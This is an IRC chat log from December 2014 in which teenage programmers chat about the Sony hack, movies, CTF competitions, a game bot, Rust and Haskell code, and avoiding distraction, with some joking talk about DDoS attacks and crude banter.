[2014-12-04T21:20:13-0500] <alokpathy> but more than a brony
[2014-12-04T21:20:57-0500] <+Tamini> LOL
[2014-12-04T21:21:09-0500] <+Tamini> appaerntly
[2014-12-04T21:21:13-0500] <+Tamini> its really cringeowrthy once you get over it tho
[2014-12-04T21:21:27-0500] <nezorg> well, I'm over it, but it's not cringeworthy for me
[2014-12-04T21:21:39-0500] <nezorg> it's just another fandom I was part of but aren't anymore
[2014-12-04T21:21:41-0500] <@awe> Sony got hacked again, guys.
[2014-12-04T21:21:45-0500] <@awe> This time, they took everything.
[2014-12-04T21:21:49-0500] <@awe> 100 TB of data leaked.
[2014-12-04T21:21:55-0500] <nezorg> awe: old news
[2014-12-04T21:22:20-0500] <@awe> Old news from.... earlier today?
[2014-12-04T21:22:57-0500] <bob_twinkles> wait is this after the NK hack?
[2014-12-04T21:23:14-0500] <nezorg> bob_twinkles: no, it's what was believed to be the NK hack but isn't actually by NK
[2014-12-04T21:23:24-0500] <nezorg> awe: the news broke a week ago
[2014-12-04T21:23:48-0500] <@awe> Are you sure?
[2014-12-04T21:24:04-0500] <nezorg> http://bits.blogs.nytimes.com/2014/11/25/sony-pictures-computers-down-for-a-second-day-after-network-breach/?_r=0
[2014-12-04T21:24:07-0500] <bob_twinkles> I thought it was like NK funded, performed by China or something like that
[2014-12-04T21:24:15-0500] <nezorg> bob_twinkles: doesn't look that way now
[2014-12-04T21:24:23-0500] <nezorg> they found evidence it's from south korea
[2014-12-04T21:24:45-0500] <@awe> But it was only announced today that they got everything, no?
[2014-12-04T21:26:09-0500] <nezorg> well, that was at least known yesterday
[2014-12-04T21:26:17-0500] <nezorg> maybe not before that though
[2014-12-04T21:26:32-0500] <+Tamini> wait, what
[2014-12-04T21:26:37-0500] <nezorg> also I was so excited to read this: http://www.nytimes.com/2014/12/04/opinion/julian-assange-on-living-in-a-surveillance-society.html?_r=0
[2014-12-04T21:26:39-0500] <+Tamini> <nezorg> they found evidence it's from south korea
[2014-12-04T21:26:41-0500] <+Tamini> link?
[2014-12-04T21:26:44-0500] <nezorg> and then it ended up being pretty boring :'(
[2014-12-04T21:26:45-0500] <nezorg> uh
[2014-12-04T21:27:39-0500] <+Tamini> also who's watched interstellar already/how is it
[2014-12-04T21:27:56-0500] <nezorg> Tamini: ...oh oops, totally parsed that article wrong :P
[2014-12-04T21:28:03-0500] <+hardmath123> Tamini: I didn't enjoy it.
[2014-12-04T21:28:10-0500] <nezorg> turns out it was linked to similar attacks *on* south korea, not *by* south korea :P
[2014-12-04T21:28:24-0500] • hardmath123: is totally not stalking this discussion and instead doing his math homework.
[2014-12-04T21:28:25-0500] <+Tamini> hardmath123: wait darny not wh
[2014-12-04T21:28:32-0500] <+Tamini> wait darn why not 
[2014-12-04T21:28:34-0500] <+Tamini> i cant type
[2014-12-04T21:28:36-0500] <+Tamini> this might be a issue
[2014-12-04T21:28:44-0500] <nezorg> I'm just excited to see the imitation game
[2014-12-04T21:28:49-0500] <+Tamini> also hardmath123: we lkei you yes hang out with us <3
[2014-12-04T21:28:54-0500] <+Tamini> nezorg: why do you live in california
[2014-12-04T21:29:00-0500] <+Tamini> i would totally want to see it with you 
[2014-12-04T21:29:09-0500] <nezorg> Tamini: because I don't like cold weather
[2014-12-04T21:29:12-0500] <+Tamini> move to virginia go to tj
[2014-12-04T21:29:15-0500] <+Tamini> it's not that cold
[2014-12-04T21:29:30-0500] <alokpathy> Tamini: It's okay you can continue not being able to type until after Saturday
[2014-12-04T21:29:57-0500] <+Tamini> alokpathy: I don't type during pclassic
[2014-12-04T21:29:59-0500] <+Tamini> two people are really fast
[2014-12-04T21:30:10-0500] <+Tamini> also I think we're bringing a second monitor which should be fuuuuuuuuuuuun <3
[2014-12-04T21:30:14-0500] <nezorg> lol
[2014-12-04T21:30:19-0500] <+hardmath123> Tamini: it was very plotless
[2014-12-04T21:30:21-0500] <nezorg> did you see andrew's monitor at csaw? :P
[2014-12-04T21:30:23-0500] <alokpathy> Tamini: Wait is that even allowed?
[2014-12-04T21:30:24-0500] <+Tamini> hardmath123: D:
[2014-12-04T21:30:29-0500] <+Tamini> nezorg:...andrew? :P
[2014-12-04T21:30:35-0500] <+Tamini> alokpathy: yep, we saw teams do it last year
[2014-12-04T21:30:36-0500] <nezorg> Tamini: on 1064cbread
[2014-12-04T21:30:43-0500] <alokpathy> Tamini: Hmm
[2014-12-04T21:30:45-0500] <+Tamini> nezorg: I actually never saw you ctfing :P
[2014-12-04T21:30:46-0500] <alokpathy> [considers]
[2014-12-04T21:30:49-0500] <+hardmath123> Tamini: slightly more plot than Gravity
[2014-12-04T21:30:50-0500] <+Tamini> i was too enamoured by geohot
[2014-12-04T21:30:55-0500] <nezorg> Tamini: D':
[2014-12-04T21:30:56-0500] <+Tamini> hardmath123: but I like gravity
[2014-12-04T21:30:59-0500] <+Tamini> much physics much pretty
[2014-12-04T21:31:06-0500] <+Tamini> nezorg: I'm sorry D: 
[2014-12-04T21:31:15-0500] <+Tamini> alokpathy: basically our strategy has been to
[2014-12-04T21:31:21-0500] <+Tamini> adopt any tactics we see and find clever
[2014-12-04T21:31:31-0500] <+Tamini> so we have gained a whiteboard, a second monitor, and lots of tables
[2014-12-04T21:31:51-0500] <+hardmath123> Tamini: oh. then you'll probably live it. I don't really love movies which are 3 hours of eye candy :P
[2014-12-04T21:31:56-0500] <+hardmath123> s/live/love
[2014-12-04T21:32:14-0500] <nezorg> shrek is live, shrek is love
[2014-12-04T21:32:18-0500] <+Tamini> :P
[2014-12-04T21:32:22-0500] <+Tamini> i think ur doing it wrong
[2014-12-04T21:32:31-0500] <+Tamini> also 
[2014-12-04T21:32:44-0500] <+Tamini> I think it's a problem that our setup for a small programming comp is much more legit than
[2014-12-04T21:32:47-0500] <+Tamini> our setup for csaw hsf :P
[2014-12-04T21:33:05-0500] <nezorg> shoulda seen my setup for hsf
[2014-12-04T21:33:07-0500] <nezorg> it was me
[2014-12-04T21:33:08-0500] <nezorg> and my laptop
[2014-12-04T21:33:11-0500] <nezorg> and my charger
[2014-12-04T21:33:16-0500] <nezorg> and an ethernet cable
[2014-12-04T21:34:02-0500] <+Tamini> haha
[2014-12-04T21:34:04-0500] <alokpathy> Tamini: And you still will lose tsk tsk
[2014-12-04T21:34:06-0500] <+Tamini> sounds so legit
[2014-12-04T21:34:09-0500] <+hardmath123> awebot: are you there?
[2014-12-04T21:34:15-0500] <+Tamini> nezorg: did you see Gus's?
[2014-12-04T21:35:39-0500] <nezorg> Tamini: no
[2014-12-04T21:36:12-0500] <+Tamini> basically they had a giant switch
[2014-12-04T21:36:15-0500] <+Tamini> and looked super legit
[2014-12-04T21:36:18-0500] <+Tamini> lemme see if i can find a pic
[2014-12-04T21:44:38-0500] <Hyper> oh, were y'all at CSAW?
[2014-12-04T21:45:12-0500] <+Tamini> were you? :O
[2014-12-04T21:45:18-0500] <Hyper> Tamini: I go to poly
[2014-12-04T21:45:19-0500] <Hyper> :)
[2014-12-04T21:45:22-0500] <+Tamini> ohhh
[2014-12-04T21:45:22-0500] <+Tamini> LOL
[2014-12-04T21:45:24-0500] <+Tamini> WAIT
[2014-12-04T21:45:25-0500] <+Tamini> who are you o-o
[2014-12-04T21:45:32-0500] <Hyper> not involved in CSAW
[2014-12-04T21:45:32-0500] <+LittleBobbyTables> He's Hyper obviously.
[2014-12-04T21:45:35-0500] <+Tamini> aww :/
[2014-12-04T21:45:40-0500] <+Tamini> i met a couple of really nice people
[2014-12-04T21:45:44-0500] <Hyper> though I do know julian cohen
[2014-12-04T21:45:50-0500] <Hyper> :)
[2014-12-04T21:45:51-0500] <+Tamini> Chris Thomson was super cool
[2014-12-04T21:45:56-0500] <+Tamini> ooh
[2014-12-04T21:46:01-0500] <Hyper> https://github.com/Hypersonic/ is me
[2014-12-04T21:46:20-0500] <+Tamini> ooh nice
[2014-12-04T21:46:22-0500] <Hyper> julian follows me on github, so I'm clearly in some super-exclusive club
[2014-12-04T21:46:22-0500] <+Tamini> omg wait wait wait
[2014-12-04T21:46:26-0500] <+Tamini> i saw the greatest thing
[2014-12-04T21:47:18-0500] <+Tamini> nezorg: check snaps pls
[2014-12-04T21:48:18-0500] <Hyper>  
[2014-12-04T21:48:23-0500] <Hyper> oops
[2014-12-04T21:48:33-0500] <Hyper> apparantly shift+enter sends a blank line
[2014-12-04T21:48:35-0500] <Hyper> TIL
[2014-12-04T21:49:03-0500] <+Tamini> its your client, methinks
[2014-12-04T21:49:54-0500] <Hyper> yeah, I guess
[2014-12-04T21:51:10-0500] <Hyper> I'm not sure if I should be slightly worried that my github is my means of identification
[2014-12-04T21:52:01-0500] <+Tamini> LOL
[2014-12-04T21:53:49-0500] <nezorg> my github is bare :C
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[2014-12-04T21:54:45-0500] <+Tamini> lol no its not
[2014-12-04T21:54:50-0500] <nezorg> Tamini: what even was that snap
[2014-12-04T21:55:03-0500] <+Tamini> i was stalking this guy on fb
[2014-12-04T21:55:08-0500] <+Tamini> and i just saw that vim and emacs thing
[2014-12-04T21:55:14-0500] <+Tamini> and i laughed and decided to share
[2014-12-04T21:55:15-0500] <nezorg> o k
[2014-12-04T21:55:22-0500] <+Tamini> wow whats that reaction
[2014-12-04T21:55:34-0500] <nezorg> it was set to 3 seconds so I couldn't even see it
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[2014-12-04T21:56:07-0500] <+hardmath123> hmm
[2014-12-04T21:56:23-0500] <nezorg> hardmath123: is that your archnemesis?
[2014-12-04T21:56:38-0500] <+hardmath123> nezorg: my worst enemy is myself
[2014-12-04T21:56:50-0500] <+hardmath123> should i become one of those perpetually-logged-into-irc folks?
[2014-12-04T21:56:56-0500] <nezorg> yes
[2014-12-04T21:57:02-0500] <+hardmath123> like, even more perpetually than usual
[2014-12-04T21:57:18-0500] <+LittleBobbyTables> Lizard Squad is DDoSing Steam :/
[2014-12-04T21:57:40-0500] <Hyper> LittleBobbyTables: oh, that's what's causing it?
[2014-12-04T21:57:45-0500] <nezorg> LittleBobbyTables: why would anyone do that
[2014-12-04T21:57:53-0500] <+LittleBobbyTables> Because they're getting paid.
[2014-12-04T21:58:08-0500] <nezorg> but why would someone pay to ddos steam?
[2014-12-04T21:58:12-0500] <nezorg> ubisoft? :P
[2014-12-04T21:58:29-0500] <+Tamini> lol
[2014-12-04T21:58:42-0500] <+LittleBobbyTables> They're just renting out a net from Gh0st.
[2014-12-04T21:58:47-0500] <Hyper> "Look guys, other peoples' DRM doesn't work too!"
[2014-12-04T21:58:53-0500] <+LittleBobbyTables> Selling attacks for profit.
[2014-12-04T21:59:07-0500] <+LittleBobbyTables> No idea why he's stopped their service yet though.
[2014-12-04T22:00:33-0500] <+LittleBobbyTables> Anyway
[2014-12-04T22:00:37-0500] <+LittleBobbyTables> Back to comp
[2014-12-04T22:02:02-0500] <alokpathy> LittleBobbyTables: What computer did you get?
[2014-12-04T22:03:13-0500] <nezorg> [nsfw] proof https://imgur.com/SpHupcv
[2014-12-04T22:04:07-0500] <+Tamini> nezorg: lol, for science?
[2014-12-04T22:04:26-0500] <nezorg> for science
[2014-12-04T22:05:32-0500] <alokpathy> lolwut
[2014-12-04T22:05:55-0500] <+ubuntor> ...?
[2014-12-04T22:06:58-0500] <bob_twinkles> nezorg did the only logical thing one could do with a rift
[2014-12-04T22:07:01-0500] <bob_twinkles> watch porn with it
[2014-12-04T22:07:11-0500] <nezorg> not just any porn, *interactive* porn!
[2014-12-04T22:07:25-0500] <bob_twinkles> how does that even work
[2014-12-04T22:07:40-0500] <nezorg> it's 3d rendered, not actually filmed
[2014-12-04T22:08:30-0500] <+ubuntor> controls?
[2014-12-04T22:08:52-0500] <nezorg> well you can turn the speed up and down and move around
[2014-12-04T22:08:58-0500] <nezorg> there's more in the full version, apparently
[2014-12-04T22:09:10-0500] <+ubuntor> ic
[2014-12-04T22:09:21-0500] <+Tamini> oh this is just the demo?
[2014-12-04T22:09:22-0500] <+Tamini> LOL
[2014-12-04T22:09:45-0500] <+Tamini> bob_twinkles: I'm contemplating telling Kyle about this and seeing what he decides to do with the knowledge...
[2014-12-04T22:09:46-0500] <nezorg> there's a torrent of the full version
[2014-12-04T22:09:52-0500] <nezorg> but I didn't feel like downloading a torrent client
[2014-12-04T22:10:03-0500] <Hyper> What a time to be alive
[2014-12-04T22:10:07-0500] <+Tamini> did you just say
[2014-12-04T22:10:10-0500] <+Tamini> you were too lazy to get porn
[2014-12-04T22:10:13-0500] <nezorg> yes
[2014-12-04T22:10:30-0500] <+Tamini> i think biologically you're an abnormality
[2014-12-04T22:13:32-0500] <nezorg> better things to do
[2014-12-04T22:16:03-0500] <+hardmath123> ooh, alchemy can be perpetually online now
[2014-12-04T22:16:06-0500] <+hardmath123> also... what
[2014-12-04T22:18:47-0500] <@awe> Pew pew.
[2014-12-04T22:19:10-0500] <+Tamini> awe! <3
[2014-12-04T22:19:12-0500] <+Tamini> hey
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[2014-12-04T22:26:32-0500] <+hardmath123> sorry
[2014-12-04T22:26:41-0500] <+LittleBobbyTables> apothy
[2014-12-04T22:26:51-0500] <alokpathy> hiya
[2014-12-04T22:26:52-0500] <+LittleBobbyTables> gtx 970, i5 4690k, Z97 mobo
[2014-12-04T22:27:56-0500] <+LittleBobbyTables> Pretty sure she has a penis in that.
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[2014-12-04T22:28:17-0500] <+hardmath123> @status
[2014-12-04T22:28:18-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-04T22:28:56-0500] <@awe> hey Tamini
[2014-12-04T22:28:58-0500] <@awe> @status
[2014-12-04T22:28:59-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-04T22:29:48-0500] <+LittleBobbyTables> @status
[2014-12-04T22:29:48-0500] <+LittleBobbyTables> 1
[2014-12-04T22:29:48-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-04T22:29:55-0500] <+hardmath123> @list
[2014-12-04T22:29:56-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-12-04T22:29:56-0500] <alchemy> You have: fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-12-04T22:29:56-0500] <alchemy> That's 37 out of 102!
[2014-12-04T22:30:13-0500] <+LittleBobbyTables> @combine fire snowman
[2014-12-04T22:30:14-0500] <alchemy> fire and snowman don't make anything exciting.
[2014-12-04T22:30:16-0500] <+LittleBobbyTables> @combine fire snow
[2014-12-04T22:30:17-0500] <alchemy> fire and snow don't make anything exciting.
[2014-12-04T22:30:19-0500] <+LittleBobbyTables> bullshit.
[2014-12-04T22:31:45-0500] <alokpathy> @combien tool rust
[2014-12-04T22:31:50-0500] <alokpathy> @combine tool rust
[2014-12-04T22:31:51-0500] <alchemy> tool and rust don't make anything exciting.
[2014-12-04T22:35:19-0500] <Hyper> @help
[2014-12-04T22:35:20-0500] <alchemy> To mix a new brew: `@combine <element> <element>`
[2014-12-04T22:35:20-0500] <alchemy> To list your elements: `@list`
[2014-12-04T22:35:20-0500] <alchemy> Also try `@encourage` and `@hint`.
[2014-12-04T22:35:33-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:35:33-0500] <alchemy> Not this time!
[2014-12-04T22:35:37-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:35:38-0500] <alchemy> Not this time!
[2014-12-04T22:35:39-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:35:40-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-04T22:35:41-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:35:42-0500] <alchemy> No can do, buddy.
[2014-12-04T22:35:43-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:35:44-0500] <alchemy> No can do, buddy.
[2014-12-04T22:35:45-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:35:46-0500] <alchemy> No can do, buddy.
[2014-12-04T22:35:47-0500] <Hyper> LittleBobbyTables: where's the info for the bot come from?
[2014-12-04T22:35:50-0500] <Hyper> the data, I mean
[2014-12-04T22:35:56-0500] <+LittleBobbyTables> A file on his computer.
[2014-12-04T22:35:59-0500] <Hyper> ah
[2014-12-04T22:37:07-0500] <+hardmath123> all the solutions (get it? you mix stuff to get the solutions?) are hardcoded into the bot script
[2014-12-04T22:37:55-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:37:56-0500] <alchemy> No can do, buddy.
[2014-12-04T22:37:57-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:37:58-0500] <alchemy> No can do, buddy.
[2014-12-04T22:37:59-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:38:00-0500] <alchemy> No can do, buddy.
[2014-12-04T22:38:01-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:38:02-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-04T22:38:03-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:38:05-0500] <alchemy> Not this time!
[2014-12-04T22:38:07-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:38:08-0500] <alchemy> Not this time!
[2014-12-04T22:38:10-0500] <+LittleBobbyTables> God damn it alchemy
[2014-12-04T22:38:13-0500] <+LittleBobbyTables> Give me a damn hint
[2014-12-04T22:38:22-0500] <+hardmath123> @hint
[2014-12-04T22:38:23-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-04T22:38:34-0500] <+hardmath123> it's supposed to legit give a hint once in a while
[2014-12-04T22:38:36-0500] <+hardmath123> fwiw
[2014-12-04T22:38:39-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:38:40-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:38:40-0500] <alchemy> Hint: It's possible to make soil!
[2014-12-04T22:38:40-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:38:41-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:38:41-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-04T22:38:41-0500] <alchemy> Not this time!
[2014-12-04T22:38:42-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:38:42-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:38:42-0500] <alchemy> Hint: It's possible to make snow!
[2014-12-04T22:38:43-0500] <alchemy> No can do, buddy.
[2014-12-04T22:38:43-0500] <alchemy> Hint: It's possible to make mel!
[2014-12-04T22:38:52-0500] <+LittleBobbyTables> wtf is mel
[2014-12-04T22:39:03-0500] <+hardmath123> mel as in the Story of Mel
[2014-12-04T22:39:22-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:39:23-0500] <alchemy> Not this time!
[2014-12-04T22:39:23-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:39:23-0500] <alchemy> No can do, buddy.
[2014-12-04T22:39:23-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:39:23-0500] <alchemy> Not this time!
[2014-12-04T22:39:24-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:39:24-0500] <alchemy> Not this time!
[2014-12-04T22:39:24-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:39:24-0500] <alchemy> No can do, buddy.
[2014-12-04T22:39:24-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:39:24-0500] <alchemy> Not this time!
[2014-12-04T22:39:24-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:39:25-0500] <alchemy> Hint: It's possible to make frozone!
[2014-12-04T22:39:25-0500] <+LittleBobbyTables> @hint
[2014-12-04T22:39:25-0500] <alchemy> Hint: It's possible to make ninja!
[2014-12-04T22:39:31-0500] <+LittleBobbyTables> @list
[2014-12-04T22:39:31-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-12-04T22:39:31-0500] <alchemy> You have: fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-12-04T22:39:31-0500] <alchemy> That's 37 out of 102!
[2014-12-04T22:39:46-0500] <+LittleBobbyTables> @combine evil neanderthal
[2014-12-04T22:39:46-0500] <alchemy> evil and neanderthal don't make anything exciting.
[2014-12-04T22:39:52-0500] <+LittleBobbyTables> Stupid gme
[2014-12-04T22:40:36-0500] <Hyper> @combine villain lava
[2014-12-04T22:40:36-0500] <alchemy> villain and lava don't make anything exciting.
[2014-12-04T22:40:45-0500] <Hyper> should make secret base
[2014-12-04T22:40:50-0500] <Hyper> 0/10 would not buy
[2014-12-04T22:41:05-0500] <+Tamini> @combine stone fire
[2014-12-04T22:41:05-0500] <alchemy> You already combined stone and fire to get metal.
[2014-12-04T22:41:11-0500] <+Tamini> @combine rust man
[2014-12-04T22:41:11-0500] <alchemy> You already combined rust and man to get aaron.
[2014-12-04T22:41:16-0500] <+Tamini> oh you made it aaron and not awe
[2014-12-04T22:41:17-0500] <+Tamini> how lame
[2014-12-04T22:41:28-0500] <+Tamini> @combine light evil
[2014-12-04T22:41:28-0500] <alchemy> light and evil don't make anything exciting.
[2014-12-04T22:41:35-0500] <+Tamini> @combine metal man
[2014-12-04T22:41:35-0500] <alchemy> You already combined metal and man to get tool.
[2014-12-04T22:41:39-0500] <+Tamini> @combine tool tree
[2014-12-04T22:41:39-0500] <alchemy> tool and tree don't make anything exciting.
[2014-12-04T22:41:43-0500] <@awe> Tamini: it pinged me a lot. .-.
[2014-12-04T22:41:54-0500] <+Tamini> oh lol
[2014-12-04T22:42:21-0500] <Hyper> @combine plant puddle
[2014-12-04T22:42:22-0500] <alchemy> plant and puddle don't make anything exciting.
[2014-12-04T22:42:40-0500] <Hyper> @combine fireman water
[2014-12-04T22:42:41-0500] <alchemy> fireman and water don't make anything exciting.
[2014-12-04T22:43:21-0500] <+hardmath123> y'all are raging at poor al. now he's sad.
[2014-12-04T22:44:24-0500] <@awe> nezorg: https://github.com/aaronweiss74/irc/commit/3387f5d587d9be994727b468b229f856184029c0
[2014-12-04T22:44:29-0500] <@awe> nezorg: Just dropped a nice update.
[2014-12-04T22:44:42-0500] <@awe> nezorg: config files can now omit things where they use the default configuration.
[2014-12-04T22:44:58-0500] <+LittleBobbyTables> anyway
[2014-12-04T22:45:02-0500] <+LittleBobbyTables> back to finishing my computer
[2014-12-04T22:45:06-0500] <+LittleBobbyTables> Imma try it out on my tv.
[2014-12-04T22:52:18-0500] <nezorg> awe: why do you create Strings with format! ?
[2014-12-04T22:52:29-0500] <@awe> nezorg: It's shorter than .into_string()
[2014-12-04T22:53:07-0500] <nezorg> but more confusing
[2014-12-04T22:53:30-0500] <@awe> I guess.
[2014-12-04T22:54:17-0500] <nezorg> I should really work
[2014-12-04T22:54:18-0500] <nezorg> bai
[2014-12-04T22:54:33-0500] <@awe> C'ya.
[2014-12-04T22:54:47-0500] <alokpathy> nezorg: see ya
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[2014-12-04T23:07:55-0500] <+Tamini> lol
[2014-12-04T23:08:01-0500] <+Tamini> i feel like we're bad influences on nezorg
[2014-12-04T23:08:07-0500] <+Tamini> he was such a good kid and we're distracting the poor child
[2014-12-04T23:09:02-0500] <+LittleBobbyTables> He's a teenage guy
[2014-12-04T23:09:06-0500] <+LittleBobbyTables> He's already corrupted
[2014-12-04T23:09:14-0500] <alokpathy> Oh dear
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[2014-12-04T23:19:26-0500] <@awe> Tamini: That's okay. He's great.
[2014-12-04T23:20:21-0500] <+Tamini> i know you think he;s great 
[2014-12-04T23:20:22-0500] <+Tamini> :P
[2014-12-04T23:20:25-0500] <+Tamini> i think so too
[2014-12-04T23:22:50-0500] <+LittleBobbyTables> Am I great?
[2014-12-04T23:22:57-0500] <@awe> Eh.
[2014-12-04T23:23:23-0500] <+LittleBobbyTables> waow
[2014-12-04T23:23:26-0500] <+LittleBobbyTables> wut the fuk
[2014-12-04T23:24:03-0500] <alokpathy> Me?
[2014-12-04T23:24:23-0500] <+LittleBobbyTables> No, awe. With his eh.
[2014-12-04T23:26:05-0500] <+Tamini> like
[2014-12-04T23:26:14-0500] <+Tamini> awe and i legit have formed a fan club at this point
[2014-12-04T23:37:36-0500] <nezorg> Tamini: ...seriously I don't understand why
[2014-12-04T23:37:51-0500] <+Tamini> because you're a pretty damn awesome person.
[2014-12-04T23:38:02-0500] <+Tamini> and you don't realize it to the extent we think it
[2014-12-04T23:38:23-0500] <nezorg> I think you don't realize the awesomeness of the RecordWildcards extension https://ocharles.org.uk/blog/posts/2014-12-04-record-wildcards.html
[2014-12-04T23:40:06-0500] <nezorg> also this one is pretty cool https://ocharles.org.uk/blog/posts/2014-12-02-view-patterns.html
[2014-12-04T23:58:33-0500] <nezorg> as is this https://www.fpcomplete.com/user/icelandj/Pattern%20synonyms
[2014-12-04T23:58:36-0500] <nezorg> why am I not working
[2014-12-04T23:59:26-0500] <nezorg> I learn so much from /r/haskell
[2014-12-05T00:11:07-0500] <+Tamini> okay nezorg
[2014-12-05T00:11:11-0500] <+Tamini> go do homework for an hour
[2014-12-05T00:11:12-0500] <+Tamini> then come back
[2014-12-05T00:11:24-0500] <nezorg> I am trying
[2014-12-05T00:11:27-0500] <nezorg> /r/haskell is distracting
[2014-12-05T00:11:44-0500] <+Tamini> close it
[2014-12-05T00:11:51-0500] <+Tamini> come back in an hour
[2014-12-05T00:11:51-0500] <nezorg> but then I just open it again :|
[2014-12-05T00:11:57-0500] <+Tamini> discipline!
[2014-12-05T00:14:13-0500] <+LittleBobbyTables> nezorg
[2014-12-05T00:14:22-0500] <+LittleBobbyTables> Do you need the internet to do your computer?
[2014-12-05T00:14:24-0500] <bob_twinkles> or add "0.0.0.0 reddit.com reddit" to /etc/host
[2014-12-05T00:14:29-0500] <bob_twinkles> */etc/hosts
[2014-12-05T00:14:32-0500] <+LittleBobbyTables> If not, I can help make sure you can't connect for an hour.
[2014-12-05T00:15:02-0500] <nezorg> bob_twinkles: this is what my /etc/hosts looks like:
[2014-12-05T00:15:04-0500] <nezorg> 127.0.0.1       news.ycombinator.com
[2014-12-05T00:15:05-0500] <nezorg> 127.0.0.1       theverge.com
[2014-12-05T00:15:05-0500] <nezorg> 127.0.0.1       www.theverge.com
[2014-12-05T00:15:08-0500] <nezorg> #127.0.0.1       reddit.com
[2014-12-05T00:15:08-0500] <nezorg> #127.0.0.1       www.reddit.com
[2014-12-05T00:15:11-0500] <nezorg> 127.0.0.1       androidpolice.com
[2014-12-05T00:15:16-0500] <nezorg> 127.0.0.1       www.androidpolice.com
[2014-12-05T00:15:16-0500] <nezorg>  
[2014-12-05T00:15:21-0500] <nezorg> :'(
[2014-12-05T00:15:24-0500] <bob_twinkles> lol
[2014-12-05T00:16:28-0500] <alokpathy> G'night guys
[2014-12-05T00:16:34-0500] <bob_twinkles> 'night alokpathy 
[2014-12-05T00:18:19-0500] <+LittleBobbyTables> So nezorg, you need help with staying away from the internet? :P
[2014-12-05T00:18:28-0500] <nezorg> night alokpathy 
[2014-12-05T00:18:36-0500] <nezorg> LittleBobbyTables maybe
[2014-12-05T00:18:46-0500] <+LittleBobbyTables> I could help you with that.
[2014-12-05T00:19:07-0500] <nezorg> please don't ddos me
[2014-12-05T00:19:16-0500] <+LittleBobbyTables> I'd need your IP first
[2014-12-05T00:19:17-0500] <+LittleBobbyTables> :/
[2014-12-05T00:19:24-0500] <nezorg> huzzah
[2014-12-05T00:20:18-0500] <+Tamini> lol
[2014-12-05T00:20:26-0500] <+Tamini> LittleBobbyTables with all his resources
[2014-12-05T00:20:31-0500] <+Tamini> that he uses for super sketchy means :P
[2014-12-05T00:20:35-0500] <+LittleBobbyTables> I got it
[2014-12-05T00:20:38-0500] <+LittleBobbyTables> nezorg: just bt
[2014-12-05T00:20:40-0500] <+LittleBobbyTables> btw*
[2014-12-05T00:20:43-0500] <+LittleBobbyTables> freenode doesn't hostmask
[2014-12-05T00:20:45-0500] <+LittleBobbyTables> By default.
[2014-12-05T00:21:08-0500] <nezorg> LittleBobbyTables: but I'm not connected through my actual is
[2014-12-05T00:21:09-0500] <nezorg> *isp
[2014-12-05T00:21:17-0500] <+LittleBobbyTables> :(
[2014-12-05T00:21:20-0500] <nezorg> so you'd just be ddos'ing DO
[2014-12-05T00:21:40-0500] <+LittleBobbyTables> EZ enough
[2014-12-05T00:23:15-0500] <+LittleBobbyTables> want me to try anyway
[2014-12-05T00:23:27-0500] <nezorg> I'm not even distracted primarily by irc
[2014-12-05T00:23:49-0500] <+LittleBobbyTables> Internet in general though lol
[2014-12-05T00:23:52-0500] <bob_twinkles> LittleBobbyTables: just ddoss the entire IPv4 address space, I'm sure you'll pick up nezorg somewhere in there
[2014-12-05T00:24:04-0500] <+LittleBobbyTables> 0.0.0.0
[2014-12-05T00:24:08-0500] <+LittleBobbyTables> ggwp
[2014-12-05T00:24:10-0500] <nezorg> LittleBobbyTables: but you'd only block my irc connection
[2014-12-05T00:24:14-0500] <+LittleBobbyTables> Oh.
[2014-12-05T00:24:30-0500] <+LittleBobbyTables> Well then wanna do me a favor and click on this completely inconspicuous link
[2014-12-05T00:24:38-0500] <nezorg> suuuuuuuuuuure
[2014-12-05T00:24:56-0500] <nezorg> here, I'll just give my ip to you:
[2014-12-05T00:25:10-0500] <nezorg> ::1/128
[2014-12-05T00:27:40-0500] <+LittleBobbyTables> k thx
[2014-12-05T00:31:20-0500] <+LittleBobbyTables> alright well
[2014-12-05T00:31:23-0500] <+LittleBobbyTables> afk for awhile
[2014-12-05T00:31:27-0500] <+LittleBobbyTables> TV + other things
[2014-12-05T00:32:17-0500] <nezorg> what're ya watching?
[2014-12-05T00:35:23-0500] <nezorg> anyone heard of this? http://recode.net/2014/12/04/who-is-behind-after-school-the-anonymous-app-taking-over-american-high-schools/
[2014-12-05T00:35:58-0500] <nezorg> (of course iOS-only)
[2014-12-05T00:50:34-0500] <@awe> nezorg: do you actually seriously need to block those sites in order to not visit them?
